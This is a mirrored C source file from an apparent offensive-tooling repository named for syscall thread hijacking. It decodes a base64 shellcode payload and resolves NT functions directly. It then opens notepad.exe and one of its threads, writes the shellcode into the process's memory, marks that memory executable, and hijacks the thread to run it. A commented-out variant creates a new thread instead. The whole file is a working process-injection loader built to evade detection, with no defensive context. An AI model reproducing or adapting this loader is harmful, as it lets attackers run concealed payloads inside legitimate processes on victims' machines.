mirror of
https://github.com/Hue-Jhan/Syscalls-Thread-Hijacking
synced 2026-06-06 15:44:31 +00:00
Hue
94 lines
3.1 KiB
C
94 lines
3.1 KiB
C
#include "injection.h"
|
|
#include "decode.h"
|
|
|
|
int main() {
|
|
LPWSTR lpProcessName = L"notepad.exe";
|
|
DWORD pid = 0;
|
|
HANDLE hProcess;
|
|
DWORD tid;
|
|
HANDLE hThread;
|
|
PVOID pAddress = NULL;
|
|
SIZE_T sNumberOfBytesWritten = NULL;
|
|
DWORD dwOldProtection = NULL;
|
|
printf("\n");
|
|
decodeFull();
|
|
|
|
if (!InitNtFunctions()) {
|
|
printf("Failed to resolve NT functions.\n");
|
|
return 1; }
|
|
|
|
if (!GetProcessNative(lpProcessName, &pid)) {
|
|
printf("Failed to get process handle/pid \n");
|
|
return;
|
|
} // else wprintf(L"[+] Process %s : pid %lu \n", lpProcessName, (unsigned long)pid);
|
|
|
|
OBJECT_ATTRIBUTES objAttr = { 0 };
|
|
CLIENT_ID clientId = { 0 };
|
|
clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pid;
|
|
clientId.UniqueThread = 0;
|
|
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
|
|
NTSTATUS status = NtOpenProcess(&hProcess, PROCESS_CREATE_THREAD | // remove create thread for 1st version
|
|
PROCESS_QUERY_INFORMATION | PROCESS_SET_INFORMATION | PROCESS_SET_QUOTA | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE
|
|
| SYNCHRONIZE, &objAttr, &clientId);
|
|
if (status != STATUS_SUCCESS || hProcess == NULL) {
|
|
PRINTXD("NtOpenProcess", status);
|
|
return; }
|
|
|
|
|
|
|
|
|
|
|
|
// 1st version find&Hijack, uncomment to use it
|
|
if (!GetThreadNative(pid, &tid)) {
|
|
printf("Failed to get thread handle/tid");
|
|
return;
|
|
} // else printf("[+] Found Thread : tid %lu \n", (unsigned long)tid);
|
|
clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pid;
|
|
clientId.UniqueThread = (HANDLE)(ULONG_PTR)tid;
|
|
status = NtOpenThread(&hThread, THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT |
|
|
THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | SYNCHRONIZE, &objAttr, &clientId);
|
|
if (!NT_SUCCESS(status) || hThread == NULL) {
|
|
PRINTXD("NtOpenThread", status);
|
|
return; }
|
|
|
|
|
|
|
|
// 2nd versiom create&Hijack, comment to use the 1st version
|
|
//status = NtCreateThreadEx(&hThread, THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT |
|
|
// THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | SYNCHRONIZE, &objAttr, // or null?
|
|
// hProcess, (PVOID)temp, NULL, 0x00000001, 0, 0, 0, NULL);
|
|
//if (!NT_SUCCESS(status) || hThread == NULL) {
|
|
// PRINTXD("NtCreateThreadEx", status);
|
|
// if (hThread) NtClose(hThread);
|
|
// NtClose(hProcess);
|
|
// return; }
|
|
|
|
|
|
|
|
|
|
status = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (status != STATUS_SUCCESS) {
|
|
PRINTXD("NtAllocateVirtualMemory", status);
|
|
NtClose(hProcess);
|
|
return; }
|
|
|
|
status = NtWriteVirtualMemory(hProcess, pAddress, base64_decoded, (int)shellcode_size, NULL);
|
|
if (status != STATUS_SUCCESS) {
|
|
PRINTXD("NtWriteVirtualMemory", status);
|
|
NtFreeVirtualMemory(hProcess, &pAddress, &shellcode_size, MEM_RELEASE);
|
|
NtClose(hProcess);
|
|
return; }
|
|
|
|
status = NtProtectVirtualMemory(hProcess, &pAddress, &shellcode_size, PAGE_EXECUTE_READ, &dwOldProtection);
|
|
if (STATUS_SUCCESS != status) {
|
|
PRINTXD("NtProtectVirtualMemory", status);
|
|
NtFreeVirtualMemory(hProcess, &pAddress, &shellcode_size, MEM_RELEASE);
|
|
NtClose(hProcess);
|
|
return; }
|
|
|
|
HijackThread(hThread, pAddress);
|
|
NtFreeVirtualMemory(hProcess, &pAddress, &shellcode_size, MEM_RELEASE);
|
|
NtClose(hProcess);
|
|
|
|
return;
|
|
} |